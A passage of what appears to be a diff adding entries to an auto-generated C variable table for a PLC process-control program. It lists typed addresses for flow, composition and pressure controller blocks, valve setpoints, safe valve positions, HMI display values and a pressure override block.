+{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, 